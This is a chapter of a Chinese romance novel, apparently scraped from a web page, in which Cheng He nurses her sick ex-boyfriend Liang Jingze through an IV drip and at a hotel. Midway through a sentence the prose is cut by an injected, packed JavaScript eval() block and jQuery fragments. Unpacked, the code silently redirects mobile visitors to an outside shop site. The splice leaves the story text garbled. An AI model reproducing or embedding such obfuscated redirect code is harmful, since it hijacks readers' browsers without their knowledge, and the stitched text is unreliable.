外卖小哥电话打来时，手机的震动惊醒了浅眠中的梁敬则。
他直起身子，睡眼惺忪，这才发现自己刚刚一直枕着程禾的肩膀，她低头划开手机接电话，梁敬则微微低头就能看到她莹白滋润的脸上一层细细碎碎的小绒毛。
许是生病时人难免脆弱，梁敬则觉得自打见到程禾起心里竖起的防线隐隐在动摇。
他若无其事收回视线，看着地面不知道在想什么。
下午温吞的阳光透过玻璃窗，打在梁敬则身旁的空椅子上，连带着他的衣角也沾染上残角余晖，他打电话交代曹凯几句就挂断电话，等着身边人回来。
程禾去而复返，拎着粥回来。
小护士正站在梁敬则身边换液，顺便见滴速过慢调快了些，她小脸红红的，想说点什么又有点不好意思，见程禾来了，手脚麻利拿着空瓶子离开。
梁敬则不动声色又调回原来的滴速。
“给你点了小米粥，凑合喝点吧。”
县城条件艰苦点，没有现做粥的店，她找了家快餐店叮嘱店家要最热些。
梁敬则点点头，接过勺子，他一只手扎着针不好动作，需要程禾帮他拖着。
程禾本来害怕梁敬则嘴刁喝不下去，还要了点白糖问他要不要加。
梁敬则摇摇头，程禾吃惊地看着他三下五除二粥就见底了。
“你不吃？”他有了点精神。
程禾：“我中午吃过了。”
“等一下，”程禾从袋子里拿出买的口罩，递给他，“带上吧，医院里都是病毒。”
梁敬则不接，眼睛无辜看着她抬了抬他输液的手臂。
当大爷当上瘾了，她翻了个白眼，还是抽出来撕开，亲自给他带上。
两人之间的距离不可避免的拉进，她指尖不小心剐蹭到他耳朵上的软骨，这一下，像是燎原的火星，刺激的梁敬则缩了缩脖子，眼神飘忽不去看她。
口罩带上，遮住他大半的脸，只露出潋滟含情的桃花眼，身上不可一世的气势被收起大半。
看起来还挺乖，程禾瞄他一眼，过会儿，又瞄他一眼。
梁敬则四年过去了，气质依旧带着不近人情疏淡，但明显沉稳很多，也会说场面话了。
身体，也垮了。
她幽幽叹口气。
忍不住说，“你这年纪轻轻身体就垮了，平时还是多注意保养吧。”
梁敬则讥诮：“我一定得活过你，不然我都咽不下这口气。”
“你说什么呢！”程禾气鼓鼓的，这人真不知好歹，她好心照顾他，还劝他注意身体，他竟然咒她。
“你再这样我就走了，你自己待着吧。”她恶狠狠威胁。
梁敬则点点头，“你要有急事可以先走不用管我，刚刚护士说我要一段时间才结束。”
“还有几瓶输完？”
“四瓶。”
程禾默了默，梁敬则四个多小时才输完两瓶，这是要输到半夜了。
梁敬则继续善解人意：“没事儿，你有急事先走，我自己也可以。”
他见程禾在思索，像是真的在决定去留。
梁敬则面上笑着，暗地里咬牙：她要是真敢把他就这么扔这儿，他一定拔掉针头喷着血也要掐死她。
程禾不知道他心底的弯弯绕绕，她提议：“要不我们去酒店？”
在这儿坐着冷板凳要一直做到半夜，怪难受，回酒店还能躺下休息。
“你剧组那边有多余的房间吗？”程禾轻咳了声，“我没在晚上开过车，有点害怕。”
梁敬则确定她不会走了，舒坦了，眉眼舒展开。
他说：“酒店最不缺的就是房间。”
说着他就要起身，看起来已经忍耐许久一秒都待不下去了。
程禾去护士台要了个塑料袋，装上没输完的液，另一只手举着瓶子，肩上还挎着包一时有点狼狈。
梁敬则褪下她肩上的包，拎在手里掂了掂，扬眉，“你包里装了地雷？这么重。”
“对啊，留着防身，万一有色狼对我图谋不轨。”
“自恋。”
两个人一路拌着嘴到了酒店。
梁敬则没带房卡，跟前台押了身份证，换了张备用卡。
“走吧。”
程禾提着吊瓶，跟上他的脚步，“我的呢？”
梁敬则进电梯看着跟进来的人，抬手按了电梯键，低头问，“你的什么？”
“我的房卡呢！”程禾不忿，“你不会这么抠吧，我来陪你看病还要我出钱开房？”
梁敬则扬扬手中的房卡，“这就是你的。”
程禾跟上，进屋。
这间房是她上次醒来的那间，空无一物，梁敬则一直在家住，看来基本没来这边住过。
房间里凡是和皮肤有接触的地方都换上了他自己的东西。
梁敬则拿过程禾手中的瓶子，看着黑灰色被套，他想换套衣服又低头看看手上的针，作罢，最后坐在了沙发上。
“你怎么不上床？”
程禾将房后的衣架搬过来给他挂上瓶子解放他一只手。
梁敬则言简意赅： “脏。”
程禾揉揉酸涩的肩膀，无语望天。
她也不管他，掏出手机点外卖，她不忘踢了踢梁敬则的脚尖，“你还吃么？”
梁敬则：“不了。”
“我到底住哪啊？”
梁敬则下巴绷直，“你现在这儿，等晚上曹凯他们收工带你去你的房间。”
程禾得到准信儿，抬出去手机坐在另一侧，两人分据沙发两端。
房间里静得出奇，程禾的手机偶尔泄出几声短视频的声音。
她实在没有什么手机瘾，但就是不想停下来，屋里一安静，尴尬就会丛生。
玩了没一会儿，手机也没意思了，她抬眼瞥过去，梁敬则在低头一只手狼狈的发消息，宁愿这样也不发语音，不知道还以为是什么皇庭秘辛。
“梁敬则？”
“嗯？”
“刘叔演技是不是挺不错的。”
梁敬则沉吟些许，难得做出好评，“是有点天赋。”
程禾闻言更是觉得刘有光生不逢时，珍珠蒙尘被埋没，忍不住摇头可惜。
人生最好的几年没有遇到伯牙，又送了十几年的货，他只是缺个时机。
梁敬则猜到她在想什么，好整以暇地看着她，“但像他这种天赋的，娱乐圈一抓一大把。”
程禾愣了愣。
梁敬则：“位子只有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638274|203136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
排，蛋糕再大也只有一块，万里挑一的人才中国都有14万，从这14万精华里脱身而出，靠按部就班去一步步试戏从群演做起来，难如登天。”
“怎样不算按部就班？”
梁敬则靠在沙发背上，淡淡说，“只能靠命了。”
“命里有的早晚会来，比如刘叔这样的。”
“命里没的，”梁敬则想了想，陷入沉思。
“要怎么样？”
梁敬则揉了揉额头没讲话。
程禾不逼他。
她心里痒痒的，伸手掏兜，空的，又在兜里翻了翻也没找到。
“找什么？”
“你有烟么？”
梁敬则从口袋里掏出盒烟连着打火机递给她。
“什么时候开始抽的？”
“有两年了。”
程禾接过烟盒，抽出一根刚叼进嘴里，梁敬则说他也要抽一根。
她两道细眉蹙起，放下手中的打火机，“你把医生的话当耳旁风？不说了戒烟戒酒，非得发展成胃穿孔？不想活了？”
对于他这种不珍惜生命，恣意放纵自己的行为，她即使作为前女友也看不过去。
梁敬则以牙还牙：“我记得你有支气管炎吧？你也想下去陪我？”
程禾额角猛跳：咱能别说这么不吉利的话了吗？
“谁让你勾我，”梁敬则说，“我本来没有想抽。”
最后两人都没抽成。
程禾吃完饭无所事事，在屋里转来转去消食。
晚上九点，还有一瓶，程禾无聊打哈欠。
梁敬则没什么胃口，随便吃了个包子垫垫胃，又喝了一包退烧药，这会儿起了药效昏昏欲睡。
程禾把他赶到床上去免的感冒，梁敬则是真的困极没再坚持躺在床上，没一会儿就听到他均匀的呼吸声。
她兜里手机震动两下。
是陈小朵问她要不要给她留门。
程禾回消息说晚上不回家，那边发了个OK。
一看就是马昱彤发的。
她收起手机，蹑手蹑脚走到梁敬则身旁，看着他的睡颜发起了呆。
他给自己捂得严严实实，被子一直搞到鼻尖，只有输液的手臂露出来搭在被子上。
白皙修长的手指，在暗色床单的映衬下跟白玉管似的，骨节分明，青灰色的筋脉顺着紧实精瘦的小臂肌肉延伸进袖子里消失不见。
房间里只开着几排小灯，昏黄的光线，幽暗又暧昧。
她站累了，索性盘腿坐在地上胳膊肘支着下巴静静看着他。
电影已经拍了一半多，据曹凯说，接下来的戏份都在县城和隔壁市，在绥中补完刘叔的戏份再过不了几天剧组就撤了。
程禾睫毛颤了颤，一眨眼已经过去将近两个月了。
就在她悲春伤秋，感怀之际，程禾突然听到梁敬则口字清晰叫了她大名一声。
“程禾。”
她吓一跳，以为他醒了，撩眼皮瞄他一眼，见梁敬则眼睛仍死死闭合着，放心的松了一口气。
他不知道做了什么噩梦，黑色鸦睫快速颤抖着，嘴里还不停呢喃。
程禾跪起身，耳根子凑过去，听见他在说。
“我们回不去了，抱歉。”